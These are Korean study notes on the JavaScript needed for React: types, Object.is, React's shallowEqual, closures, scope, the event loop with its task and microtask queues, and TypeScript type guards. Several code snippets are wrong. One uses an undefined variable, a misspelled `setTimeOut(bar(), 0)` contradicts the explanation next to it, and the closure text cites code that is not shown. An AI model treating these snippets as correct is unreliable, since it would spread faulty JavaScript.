324 | ## 리액트 개발을 위해 꼭 알아야 할 자바스크립트 325 | 326 | 리액트 컴포넌트의 렌더링이 일어나는 이유 중 하나가 props의 동등 비교에 따른 결과 327 | 이다. 328 | 329 | 이 props의 동등 비교가 객체의 얕은 비교를 기반으로 이루어진다. 330 | 331 | ![](https://jinyisland.kr/assets/js/datatypes.png) 332 | 333 | ### 원시 타입 334 | 335 | 객체가 아닌 모든 타입을 의미한다. 객체가 아니므로 이런 타입은 메서드가 없다. 336 | 337 | 원시 타입 338 | 339 | - boolean 340 | - null 341 | - undefined 342 | - number 343 | - string 344 | - symbol : 중복되지 않는 어떤 고유한 값을 나타내기 위해 만들어진 타입. Symbol() 345 | 을 사용해서 제작 가능. 346 | 347 | ```js 348 | ex. const key = Symbol('key') 349 | ``` 350 | 351 | - bigint : number가 다룰 수 있는 숫자 크기의 제한을 극복하기 위해 ES2020에서 새 352 | 롭게 나온 타입. 2^53 - 1 보다 더 큰 숫자를 저장 가능 353 | 354 | 객체 타입 355 | 356 | - object : 참조를 전달해서 참조 타입이라고 불린다. 357 | 358 | ```js 359 | typeof [] === 'object'; // true 360 | typeof {} === 'object'; //true 361 | 362 | const hello1 = function () {}; 363 | 364 | const hello2 = function () {}; 365 | 366 | //육안으로는 같아보여도 참조가 다르다. 367 | hello === hello2; // false 368 | ``` 369 | 370 | ### 값을 저장하는 방식의 차이 371 | 372 | - 원시 타입은 불변 형태의 값으로 저장 373 | - 객체 타입은 변경 가능한 형태로 저장, 값을 복사할 때도 값이 아닌 참조를 전달 374 | 375 | 항상 객체 간의 비교가 발생하면 , 이 객체 간의 비교는 우리가 이해하는 내부의 값이 376 | 같아도 결과가 항상 true가 아닐 수 있다. 377 | 378 | ### Object.is 379 | 380 | 두 개의 인수를 받고, 이 인수 두 개가 동일한지 확인하고 반환하는 메서드이다. 381 | 382 | - ==는 강제로 타입 변환을 시켜 느슨한 비교 연산자로 작동한다. 383 | 384 | - ===는 타입이 다른 경우에 false를 리턴해 엄격한 비교 연산자로 작동한다. 385 | 386 | ```js 387 | -0 === +0; // true 388 | Object.is(-0, +0); // false 389 | 390 | Number.NaN === NaN; // false 391 | Object.is(Number.NaN, NaN); // true 392 | 393 | NaN === 0 / 0; // false 394 | Object.is(NaN, 0 / 0); // true 395 | ``` 396 | 397 | ### 리액트에서 동등 비교 398 | 399 | - 리액트는 Object.is를 기반으로 동등 비교를 하는 shallowEqual함수를 만들어서 사 400 | 용한다. 401 | 402 | 먼저 Object.is로 비교를 하고, 객체 간 얕은 비교(첫번째 뎁스만 비교)를 실행 403 | 404 | ```js 405 | //리액트에서의 shallowEqual 406 | 407 | function shallowEqual(objA: mixed, objB: mixed): boolean { 408 | // is는 Object.is를 의미한다. 409 | // Object.is라고 안한 이유는 폴리필을 적용하기 위해! 410 | 411 | // Object.is는 ===랑 유사하지만, +0,-0을 구분하고, NaN이 같으면 같다고 표기해준다. 412 | 413 | if (is(objA, objB)) { 414 | return true; 415 | } 416 | 417 | // null이 아닌 값 -> 객체가 아닌지 판별 418 | // Object.is를 통과하지 못한 값(3,4)등은 false를 리턴 419 | 420 | if ( 421 | typeof objA !== 'object' || 422 | objA === null || 423 | typeof objB !== 'object' || 424 | objB === null 425 | ) { 426 | return false; 427 | } 428 | 429 | // 이 단계는 객체만 남아있어서 객체끼리 비교 430 | // 객체의 키의 개수가 다르면 다른 요소기 떄문에 false리턴 431 | 432 | const keysA = Object.keys(objA); 433 | const keysB = Object.keys(objB); 434 | 435 | if (keysA.length !== keysB.length) { 436 | return false; 437 | } 438 | 439 | // 키의 개수가 동일한 객체. 440 | // objA의 키를 모두 순회하면서 키가 objB의 키이면서 값이 같은지 확인한다. 441 | 442 | for (let i = 0; i < keysA.length; i++) { 443 | const currentKey = keysA[i]; 444 | 445 | if ( 446 | !hasOwnProperty.call(objB, currentKey) || 447 | !is(objA[currentKey], objB[currentKey]) 448 | ) { 449 | return false; 450 | } 451 | } 452 | 453 | return true; 454 | } 455 | ``` 456 | 457 | 코드에서도 보이듯이, 첫번째 객체의 깊이까지의 키만 비교를 하기 때문에, 객체의 깊 458 | 이가 깊어지면 비교할 방법이 없어진다. 459 | 460 | ```js 461 | shallowEqual( 462 | { 463 | hello: 'world', 464 | }, 465 | { 466 | hello: 'world', 467 | } 468 | ); //true 469 | 470 | shallowEqual( 471 | { 472 | hello: { 473 | hi: 'world', 474 | }, 475 | }, 476 | { 477 | hello: { 478 | hi: 'world', 479 | }, 480 | } 481 | ); //false 482 | ``` 483 | 484 | ## 함수란 무엇인가? 485 | 486 | 함수란 작업을 수행하거나 값을 계산하는 등의 과정을 표현하고, 이를 하나의 블록으 487 | 로 감싸서 실행 단위로 만들어 놓은 것입니다. 488 | 489 | ## 함수를 정의하는 4가지 방법 490 | 491 | ### 함수 선언문 492 | 493 | - 가장 일반적인 방식이다!. 494 | - 호이스팅이 가능하므로 코드의 순서에 상관없이 함수를 호출할 수 있다. 495 | 496 | ### 함수 표현식 497 | 498 | - 함수는 '일급 객체'이다. 499 | - 함수는 다른 함수의 매개변수가 될 수도 있고, 반환값이 될 수도 있으며, 할당도 가 500 | 능하다. 501 | - 함수를 변수에 할당하는 것은 당연히 가능하다. 502 | - 호이스팅은 가능하지만 런타임 시점에 함수가 할당되어 작동한다. 503 | 504 | ### 화살표 함수 505 | 506 | - ES6에서 새로 추가된 방식으로, 가독성과 코드의 글자 수가 줄어들어 많이 사용되는 507 | 방식이다. 508 | - 기존 함수와 차이점 509 | - constructor 사용 불가 510 | - arguments 없음 511 | - this 바인딩 차이: 화살표 함수는 함수 자체의 바인딩을 갖지 않는다. 512 | 513 | ## 다양한 함수 살펴보기 514 | 515 | ### 즉시 실행 함수 (IIFE: Immediately Invoked Function Expression) 516 | 517 | - 함수를 정의하고 그 순간 즉시 실행되는 함수로, 단 한 번만 호출되고 다시금 호출 518 | 할 수 없다. 519 | 520 | ### 고차 함수 521 | 522 | - 함수를 인수로 받거나 결과로 새로운 함수를 반환하는 함수. 523 | - 이 특징을 활용해 고차 컴포넌트(Higher Order Component)를 만들 수 있다. 524 | 525 | https://jeonghwan-kim.github.io/2022/05/28/react-high-order-component 526 | 527 | ### 함수를 만들 때 주의해야 할 사항 528 | 529 | - 함수의 부수 효과(side effect)를 최대한 억제하기 530 | - 가능한 함수를 작게 만들기. 531 | - 누구나 이해할 수 있는 이름을 붙이기. 532 | - useEffect나 useCallback을 사용할 때 넘겨주는 콜백 함수에 네이밍을 붙여주면 가 533 | 독성에 도움이 될 수 있다. 534 | 535 | ```js 536 | useEffect(function apiRequest() { 537 | // do something 538 | }, []); 539 | ``` 540 | 541 | ## 클래스 542 | 543 | ### 클래스란 무엇인가? 544 | 545 | 클래스는 특정한 형태의 객체를 반복적으로 만들기 위해 사용되는 것입니다. 546 | 547 | - **constructor**: 객체를 생성하는데 사용하는 특수한 메서드로, 단 하나만 존재할 548 | 수 있으며 여러 개를 사용한다면 에러가 발생합니다. 생성자에서 별 다르게 수행할 549 | 작업이 없다면 생략도 가능합니다. 550 | - **프로퍼티**: 클래스로 인스턴스를 생성할 때 내부에 정의할 수 있는 속성값입니다 551 | . 552 | - **getter와 setter**: getter는 클래스에서 무언가 값을 가져올 때 사용하며, 553 | setter는 클래스 필드에 값을 할당할 때 사용합니다. 554 | - **인스턴스 메서드**: 클래스 내부에 선언한 메서드로, prototype 메서드라고도 합 555 | 니다. 556 | - **정적 메서드**: 클래스의 인스턴스가 아닌 이름으로 호출할 수 있는 메서드로, 557 | this를 사용할 수 없습니다. 전역 유틸 함수를 정적 메서드로 많이 활용합니다. 558 | - **상속**: 'extends' 키워드를 활용하면 기본 클래스를 기반으로 다양하게 파생된 559 | 클래스를 만들 수 있습니다. 560 | 561 | ### 클래스와 함수의 관계 562 | 563 | 클래스의 작동을 생성자 함수로 유사하게 재현할 수 있습니다. 564 | 565 | ### 클로저 566 | 567 | 클로저는 함수와 함수가 선언된 어휘적 환경의 조합이라고 정의되어 있다. 568 | 569 | ```js 570 | function add() { 571 | const a = 10; 572 | 573 | function innerAdd() { 574 | const b = 20; 575 | console.log(a + b); 576 | } 577 | 578 | innerAdd(); 579 | } 580 | ``` 581 | 582 | innerAdd 함수는 add 함수의 어휘적 환경, 즉 add 함수 범위 내에서 선언된 변수 a를 583 | 참조할 수 있다. 이런 상황을 클로저라고 한다. 584 | 585 | result는 add 함수가 반환한 innerAdd 함수를 참조하고 있다. result(20)을 호출하면, 586 | innerAdd 함수가 실행되고, innerAdd 함수 내부의 console.log(a + b);에서 a는 add 587 | 함수의 어휘적 환경을 참조하여 값을 가져온다. 이때 a의 값은 add 함수가 실행될 때 588 | 결정된 10이다. 589 | 590 | ### 전역 스코프 591 | 592 | 먼저 스코프는 변수의 유효 범위를 의미한다. 자바스크립트는 다양한 스코프가 있다. 593 | 594 | 전역 레벨에 선언하는 것을 전역 스코프라고 한다. 전역 객체에 전역 레벨에서 선언한 595 | 스코프가 바인딩된다. 596 | 597 | ```js 598 | var global = 'global scope'; 599 | 600 | function hello() { 601 | console.log(global); 602 | } 603 | 604 | console.log(global); //global scope 605 | 606 | hello(); 607 | 608 | console.log(global === window.global); // true 609 | ``` 610 | 611 | ### 함수 스코프 612 | 613 | 자바스크립트는 기본적으로 함수 레벨 스코프를 따른다. {} 블록이 스코프 범위를 결 614 | 정하지 않는다. 615 | 616 | ```js 617 | if (true) { 618 | var global = 'global scope'; 619 | } 620 | 621 | console.log(global); //global scope 622 | 623 | console.log(global === window.global); // true 624 | ``` 625 | 626 | 전역 스코프는 어디서든 값을 꺼내 올 수 있지만, 반대로 말하면 누구나 접근이 가능 627 | 하다. 628 | 629 | ### 리액트와 클로저 630 | 631 | 클로저의 원리를 사용하고 있는 대표적인 것 중 하나가 useState이다. 632 | 633 | ```js 634 | function Component() { 635 | const [state, setState] = useState(); 636 | 637 | function handleClick() { 638 | //useState의 호출은 끝나도 최신 값을 알고 있다. 클로저를 사용해서 가능하다 639 | 640 | setState((prev) => prev + 1); 641 | } 642 | } 643 | ``` 644 | 645 | 꼭 필요한 작업만 남겨 놓고 기억할 수 있도록 구성해야 한다그렇지 않으면 메모리를 646 | 불필요하게 잡아먹고 성능에 악영향을 미칠 수 있다. 647 | 648 | ### 이벤트 루프와 비동기 649 | 650 | 자바스크립트는 한번에 하나의 작업만 동기 방식으로 처리할 수 있다. 동기 방식은 직렬방식으로 작업을 처리하는 것을 말하며, 반대인 비동기는 직렬 방식이 아니라 병렬 방식으로 작업을 처리하는 것을 말한다. 651 | 652 | 요청을 시작한 후 응답이 오건 말건 다음 작업이 이루어진다. 653 | 654 | ![](https://www.targetcoders.com/wp-content/uploads/2022/03/image-4.png) 655 | 656 | ![](https://targetcoders.com/wp-content/uploads/2022/03/image-3.png) 657 | 658 | ### 싱글 스레드 자바스크립트 659 | 660 | 스레드는 하나의 프로세스에 동시에 서로 같은 자원에 접근할 수 있다. 그러나 동시에 여러 작업을 수행하다보면,같은 자원에 대해 동시성 문제가 발생할 수 있다. 661 | 662 | ![](https://backtony.github.io/assets/img/post/java/41-5.PNG) 663 | 664 | 최초의 자바스크립트는 브라우저에서 HTML을 그리는 데 한정적인 도움을 주는 보조적인 역할로 만들어졌다. 자바스크립트는 웹 브라우저에서 사용자 인터페이스를 구현하는 데 주로 사용되는 언어이다. 그래서 그 개발 초기에는 사용자의 단순한 상호작용에 집중했었다. 이런 상황에서는 복잡한 멀티 스레드 프로그래밍이 필요하지 않았다. 실제로, 멀티 스레드 프로그래밍은 디버깅이 어렵고 복잡성을 증가시키는 경향이 있다. 665 | 666 | ![](https://images.velog.io/images/gil0127/post/540376e9-9eb4-46d8-9cff-816a1d9cce1f/%EC%8B%B1%EA%B8%80%20vs%20%EB%A9%80%ED%8B%B0.png) 667 | 668 | 그러나 현대의 웹은 온갖 다양하고 복잡한 상황을 처리한다. 669 | 670 | 자바스크립트에서는 하나의 스레드에서 순차적으로 이루어진다는 것은 코드를 한 줄 한 줄 실행하는 것을 의미하고, 하나의 작업이 끝나기 전까지는 뒤이은 작업이 실행되지 않는다. (node의 Worker나 WebWorker를 통해서 가능) 671 | 672 | ![](data:image/png;base64,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) 673 | 674 | 자바스크립트에서 비동기 처리를 위해 이벤트 루프라는 개념이 필요하다. 675 | 676 | ### 이벤트 루프 677 | 678 | 이벤트 루프는 자바스크립트 표준에 나와있는 내용은 아니다. 이벤트 루프는 자바스크립트 런타임 외부에서 자바스크립트의 비동기 실행을 돕기 위해 만들어진 장치이다. 679 | 680 | ![](https://velog.velcdn.com/images%2Fgil0127%2Fpost%2F09e75a8f-e75b-4c9e-9a85-a5267b3c5434%2F12345.png) 681 | 682 | 먼저 콜스택은 자바스크립트에서 수행해야 할 코드나 함수를 순차적으로 담는 스택이다. 683 | 684 | ```js 685 | function bar() { 686 | console.log('bar') 687 | } 688 | 689 | function baz() { 690 | console.log('baz') 691 | } 692 | 693 | function foo() { 694 | console.log('foo') 695 | bar() 696 | baz() 697 | } 698 | 699 | foo() 700 | ``` 701 | 702 | - foo()가 콜스택에 들어간다. 703 | - foo내부의 console.log가 존재하므로 콜스택에 들어간다. 704 | - 2의 단계를 완료한 후 bar()가 콜스택에 들어간다. 705 | - bar내부의 console.log가 존재하므로 콜스택에 들어간다. 706 | - bar()내부에 남은 것이 없으므로 콜스택에서 제거된다. 707 | - baz()가 콜스택에 들어간다. 708 | - baz 내부의 console.log가 존재하므로 콜스택에 들어간다. 709 | - baz()내부에 남은 것이 없으므로 콜스택에서 제거된다. 710 | - foo가 콜스택에서 제거된다. 711 | 712 | 콜스택이 비어있는지 여부를 확인하는 것이 바로 이벤트 루프이다. 이벤트 루프는 이벤트 루프의 스레드 안에서 콜스택에 수행해야 할 작업이 있는지 확인하고, 수행해야 할 코드가 있다면 자바스크립트 엔진을 이용해 실행한다. 713 | 714 | `코드를 실행하는 행위`와 `콜스택이 비어있는지 확인하는 것`모두가 단일스레드에서 일어난다. 715 | 716 | ```js 717 | function bar() { 718 | console.log('bar') 719 | } 720 | 721 | function baz() { 722 | console.log('baz') 723 | } 724 | 725 | function foo() { 726 | console.log('foo') 727 | setTimeOut(bar(),0) 728 | baz() 729 | } 730 | 731 | foo() 732 | ``` 733 | 734 | - foo()가 콜스택에 들어간다. 735 | - foo내부에 console.log가 콜스택에 들어간다. 736 | - setTimeOut(bar(),0)이 콜스택에 들어간다. 737 | - 타이머 이벤트가 실행되며 테스크 큐로 들어가고, 바로 콜스택에서 제거된다. 738 | - baz()가 콜스택에 들어간다. 739 | - baz내부의 console.log가 콜스택에 들어간다. 740 | - baz가 콜스택에서 제거된다. 741 | - foo가 콜스택에서 제거된다. 742 | - 이벤트 루프가 콜스택이 비어있는 것을 보고, 테스크 큐를 확인한다. 743 | - bar()를 콜스택에 들여보낸다. 744 | - bar내부에 console.log가 콜수택에 들어간다. 745 | - bar가 콜스택에서 제거된다. 746 | 747 | ![](https://blog.kakaocdn.net/dn/cjmP6v/btrzwmoR1Z0/BYzG3L6GRTyWx9dIT2WwVk/img.gif) 748 | 749 | 테스트 큐는 실행해야 할 테스크의 집합을 말한다. 이벤트 루프는 이런 테스크 큐를 한 개 이상 갖고 있다. 그리고 테스크 큐는 큐가 아닌 set형태를 띄고 있다. 테스크 큐에서 의미하는 `실행해야 할 테스크 `는 비동기의 콜백이나 이벤트 핸들러 이기 때문에, 실행 가능한 가장 오래된 테스크를 꺼내야 한다. 750 | 751 | 비동기 함수들 (n 초 뒤에 setTimeout을 요청하는 작업 , fetch로 네트워크 요청을 보내고 받는 작업)은 테스크 큐가 할당되는 별도의 스레드에서 수행된다. (브라우저나 Node) 752 | 753 | 이런 외부 Web API는 자바스크립트 코드 외부에서 실행되고 콜백이 테스크 큐로 들어간다. 이벤트 루프는 콜스택이 비고 콜백을 실행 가능한 떄가 오면 이것을 꺼내 실행한다. 754 | 755 | ### 테스크 큐와 마이크로테스크 큐 756 | 757 | 이벤트 루프는 하나의 마이크로 테스크 큐를 갖는데, 기존 테스크 큐와 다른 테스크 등을 처리한다. 마이크로 테스크 큐는 기존 테스크 큐보다 우선순위르 갖는다. 대표적인 예로 `Promise`가 있다. 즉 `setTimeout`과 `setInterval`은 `Promise`보다 늦게 실행된다. 758 | 759 | 마이크로 테스크 큐가 빌 떄까지 기존 테스크 큐의 실행은 뒤로 밀어진다. 760 | 761 | ```js 762 | function foo() { 763 | console.log('foo') 764 | } 765 | 766 | function bar() { 767 | console.log('bar') 768 | } 769 | 770 | function baz() { 771 | console.log('baz') 772 | } 773 | 774 | setTimeout(foo,0) 775 | 776 | Promise.resolve().then(bar).then(baz) 777 | ``` 778 | 779 | 위 예시를 실행하면 bar,baz,foo순서로 실행된다. 780 | 781 | - 테스크 큐 : setTimeout,setInterval,setImmediate 782 | - 마이크로 테스크 큐 : process.nextTick, Promises,queueMicroTask,MutationObserver 783 | 784 | 테스트 큐를 실행하기에 앞서 먼저 마이크로 테스크 큐를 실행하고, 이 마이크로 테스크 큐를 실행한 뒤에 렌더링이 일어난다. 785 | 각 마이크로 테스크 큐 작업이 끝날 때마다 한번의 렌더링 기회를 얻는다. 786 | 787 | 788 | ```js 789 | console.log('a') 790 | 791 | setTimeout(() => { 792 | console.log('b') 793 | },0) 794 | 795 | Promise.resolve().then(() => { 796 | console.log('c') 797 | }) 798 | 799 | window.requestAnimationFrame(() => { 800 | console.log('d') 801 | }) 802 | 803 | //a c d b 804 | ``` 805 | 806 | 즉 브라우저에 렌더링 하는 작업은 마이크로테스크 큐와 테스크 큐 사이엣 진행된다. 807 | 808 | - **구조 분해 할당**: 배열 또는 객체의 값을 분해해 개별 변수에 즉시 할당하며, 배열은 이름을 변경할 수 있고, 객체는 객체 내부 이름으로 사용 가능합니다. 예를 들어, React의 `useState`는 배열 구조 분해 할당을 활용한 예시입니다. 809 | 810 | - **전개 구문(spread syntax)**: 객체, 문자열과 같이 순회할 수 있는 값에 대해 전개해서 간결하게 사용할 수 있는 구문입니다. 배열과 객체의 전개 구문을 활용하면 `push()`, `concat()`, `splice()` 등의 메서드를 사용하지 않고도 합성이 가능합니다. 단, 객체 전개 구문에 있어서는 순서가 중요합니다. 811 | 812 | - **객체 초기자**: 객체를 선언할 때 객체에 넣고자 하는 키와 값을 가지고 있는 변수가 이미 존재한다면 해당 값을 간결하게 넣어줄 수 있는 방식입니다. 813 | 814 | - **Array 프로토타입의 메서드**: `map`, `filter`, `reduce`, `forEach` 등의 메서드가 있습니다. 815 | - `map`: 인수로 전달받은 배열과 똑같은 길이의 새로운 배열을 반환하는 메서드입니다. 816 | - `filter`: 콜백 함수를 인수로 받고, 콜백 함수에서 truthy 조건을 만족하는 경우에만 해당 원소를 반환합니다. 817 | - `reduce`: 콜백 함수와 함께 초깃값을 추가로 인수를 받는데 이 초깃값에 따라 배열이나 객체, 또는 그 외의 다른 무언가를 반환할 수 있는 메서드입니다. 818 | - `forEach`: 콜백 함수를 받아 배열을 순회하면서 단순히 그 콜백 함수를 실행하기만 하는 메서드입니다. 819 | 820 | - **삼항 조건 연산자**: 자바스크립트에서 유일하게 3개의 피연산자를 취할 수 있는 문법입니다. 조건문 ? 참일 때 값 : 거짓일 때 값의 형태를 가집니다. 삼항 조건 연산자는 가급적이면 가독성을 위해서 중첩하지 않는 편이 좋습니다. 821 | 822 | ### 타입스크립트 823 | 824 | 기존 자바스크립트 문법에 타입을 가미한 것이 바로 타입스크립트이다. 자바스크립트가 기본적으로 동적 타입의 언어이기 떄문에 개발자에게 자유롭지만, 코드의 규모가 커질수록 오히려 발목을 잡는 경우가 있다. 825 | 826 | 타입스크립트는 이런 자바스크립트의 타입 체크를 정적으로 런타임이 아닌 빌드(트랜스파일) 타임에 수행하게 한다. 떄문에 런타임 까지 안가더라도, 코드를 빌드하는 시점에 이미 에러가 발생할 가능성이 있는 코드를 확인할 수 있다. (함수의 타입, 배열, enum등) 827 | 828 | - any대신 unknown을 사용하기 829 | 830 | any는 정말 불가피할 때에만 사용해야 하는 타입이다. any를 사용하는 것은 결국 타입스크립트의 정적 타이핑의 여러 장점을 버리는 것이나 마찬가지다. 831 | 832 | ```js 833 | function doSomeThing(callback : any) { 834 | callback() 835 | } 836 | 837 | doSomeThing(1) 838 | // 타입스크립트에서 에러가 발생하지 않지만 실행 시 에러 발생 839 | ``` 840 | 841 | 결국 이 코드는 런타임에 문제가 발생할 수 있고, 타입스크립트의 여러 이점을 없애 버린다. 842 | 843 | ```ts 844 | function doSomeThing(callback : unknown) { 845 | if(typeof callback === 'function') { 846 | callback() 847 | } 848 | 849 | throw new Error('콜백은 함수여야 합니다!') 850 | } 851 | ``` 852 | 853 | - 타입카드를 적극적으로 사용하자. 854 | 855 | 타입을 사용하는 쪽에서 최대한 타입을 좁히는 것이 좋다. instanceof는 지정한 인스턴스가 특정 클래스의 인스턴스의 인스턴슨지 확인할 수 있게 한다. 856 | 857 | ```ts 858 | 859 | async function fetchSomething() { 860 | try{ 861 | const res = await fetch('/api/something') 862 | return await res.json() 863 | } 864 | catch(e){ 865 | if(e instanceof AxiosError){ 866 | ... 867 | } 868 | } 869 | } 870 | 871 | ``` 872 | 873 | typeof 연산자는 특정 요소의 자료형을 확인하는 데 사용된다. 874 | 875 | ```ts 876 | function logging(value : string | undefined) { 877 | if(typeof value === 'string') { 878 | console.log(value) 879 | } 880 | 881 | if(typeof value === 'undefined') { 882 | return 883 | } 884 | } 885 | ``` 886 | 887 | in은 property in object로 주로 사용되는데, 어떤 객체에 키가 존재하는지 확인하는 용도로 사용된다. 888 | 889 | ```ts 890 | interface Student { 891 | age : number; 892 | score : number; 893 | } 894 | 895 | interface Teacher { 896 | name : string; 897 | } 898 | 899 | function doSchool(person : Student | Teacher) { 900 | if('age' in person){ 901 | 902 | } 903 | 904 | if('name' in person){ 905 | 906 | } 907 | } 908 | ``` 909 | 910 | ### 제네릭 911 | 912 | 제네릭은 함수나 클래스 내부에서 단일 타입이 아닌 다양한 타입에 대응할 수 있게 도와주는 도구이다. 913 | 914 | 